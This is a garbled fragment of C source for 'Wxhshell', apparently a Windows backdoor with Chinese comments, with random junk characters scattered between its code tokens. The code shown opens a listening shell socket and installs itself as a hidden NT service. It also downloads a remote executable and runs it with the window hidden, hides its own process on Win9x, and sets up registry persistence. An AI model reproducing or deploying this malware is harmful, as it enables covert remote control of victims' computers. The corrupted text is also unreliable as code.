m<>BxX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1eshuL if(hProcess==NULL) return 0; v7./u4S|V x:!s+q`
s HMODULE hMod; ^w~B]*A:" char procName[255]; |%XTy7^a unsigned long cbNeeded; 2 Kjd!~Z$ JRFUNy1+e1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3s%ND7!/ *OFG3 uM
CloseHandle(hProcess); z_ycH%p 3lpxh_ if(strstr(procName,"services")) return 1; // 以服务启动 h L [ eA b=:u d[h return 0; // 注册表启动 Q9O_>mZy } ^-k"gLg R`a~8QVh&5 // 主模块 TK\3mrEI int StartWxhshell(LPSTR lpCmdLine) o68i0aFW { N2A6C$s SOCKET wsl; %wOkp`1- BOOL val=TRUE; b1 w@toc int port=0; =ejU(1 g struct sockaddr_in door; wT": Y&O2;q/B if(wscfg.ws_autoins) Install(); 4{zy)GE|W q q&U)-` port=atoi(lpCmdLine); naf ~#==vc \uPzj_kU6 if(port<=0) port=wscfg.ws_port; jmr
.gW Fk 3(( n= WSADATA data; %hYgG;22 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EyPJ Jc8 l|gi2~ %Y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7<WS@-2I# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >{Hg+/ door.sin_family = AF_INET; >bZ-mX)j\0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); L@(. i door.sin_port = htons(port); -\?- tjXg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PtW2S 1?j closesocket(wsl); NLL"~ return 1; *%KIq/V } 63u%=-T%a
Q+
V<& if(listen(wsl,2) == INVALID_SOCKET) { )f:i4.M closesocket(wsl); a&8K5Z%0 return 1; <<MpeMi } 8~C}0H Wxhshell(wsl); OmWEa WSACleanup(); "PI;/(kR ,jg #^47I return 0; Gr2}N"X= X13+n2^8] } :zKW[sF (?1$ // 以NT服务方式启动 0@"'SKq VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JL87a^ro { ]z^jz#>um& DWORD status = 0; Y`ip.Nx DWORD specificError = 0xfffffff; o-RZwufZ` w ea serviceStatus.dwServiceType = SERVICE_WIN32; :P_h_Tizv serviceStatus.dwCurrentState = SERVICE_START_PENDING; W$hCI)m( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~q566k!Ll! serviceStatus.dwWin32ExitCode = 0; PkDt-]G. serviceStatus.dwServiceSpecificExitCode = 0; /8qR7Z^HZ serviceStatus.dwCheckPoint = 0; VX.LL
5 serviceStatus.dwWaitHint = 0; tB>!1}v j? BL8E' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {k.:DH) if (hServiceStatusHandle==0) return; x!GDS> C:Rs~@tl
status = GetLastError(); ,V9qiu=m
if (status!=NO_ERROR) IwnDG;+Ap { Gxe)5,G serviceStatus.dwCurrentState = SERVICE_STOPPED; jV*10kM< serviceStatus.dwCheckPoint = 0; I*a@_EO serviceStatus.dwWaitHint = 0; ,byc!P serviceStatus.dwWin32ExitCode = status; tjtvO@?1- serviceStatus.dwServiceSpecificExitCode = specificError; K@1gK<,a SetServiceStatus(hServiceStatusHandle, &serviceStatus); (9%?ik return; 8X`DFeJ } xFp$JN O.Pp*sQ^ serviceStatus.dwCurrentState = SERVICE_RUNNING; Q.B)?w m serviceStatus.dwCheckPoint = 0; _\+]/rY9o serviceStatus.dwWaitHint = 0; $5 G(_ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4Px|:7~wT8 } BT[|f[1 M%ecWr!tj // 处理NT服务事件,比如:启动、停止 tdRvg7v,N% VOID WINAPI NTServiceHandler(DWORD fdwControl) K]$PRg1|3 { ~|=D.}#$ switch(fdwControl) >A{Dpsi\ { D1y`J&A>Q case SERVICE_CONTROL_STOP: ?X|q serviceStatus.dwWin32ExitCode = 0; ^)]U5+g? serviceStatus.dwCurrentState = SERVICE_STOPPED; yrEh5v: serviceStatus.dwCheckPoint = 0; 7 w,D2T serviceStatus.dwWaitHint = 0; Nxt:U{`T' { }6a}8EyFP SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ `}),aA } ,TWlg return; LI.WcI3uS case SERVICE_CONTROL_PAUSE: u4FD}nV serviceStatus.dwCurrentState = SERVICE_PAUSED; }d;2[fR) break; FLG"c690 case SERVICE_CONTROL_CONTINUE: )lLeL#]FLO serviceStatus.dwCurrentState = SERVICE_RUNNING; H'#06zP>5 break; }h Wv
p case SERVICE_CONTROL_INTERROGATE: ]CLM'$ break; FW8Zpr!u }; }y*D(` SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zfk]Z9YO } f$^wu~ !{+CzUo@ // 标准应用程序主函数 b}NNkM int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g|uyQhsg { ?l%4
P5 MuMq%uDA" // 获取操作系统版本 =| T ^)J OsIsNt=GetOsVer(); z<9C- GetModuleFileName(NULL,ExeFile,MAX_PATH); &1<[@:; M>5OC)E // 从命令行安装 "|I.j) if(strpbrk(lpCmdLine,"iI")) Install(); C~4SPCU '|=Pw // 下载执行文件 Hre&a!U if(wscfg.ws_downexe) { vrb@::sy0T if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^k7I+A WinExec(wscfg.ws_filenam,SW_HIDE); b||usv[or }
0<v5_pB /UK?&+1qE if(!OsIsNt) { QWa@?BO2p // 如果时win9x,隐藏进程并且设置为注册表启动 O^CBa$ HideProc(); glCpA$;VPu StartWxhshell(lpCmdLine); [ x+-N7 } l4i51S" else Htr]_<@ if(StartFromService()) $"NH{%95} // 以服务方式启动 I)1ih StartServiceCtrlDispatcher(DispatchTable); u-&V |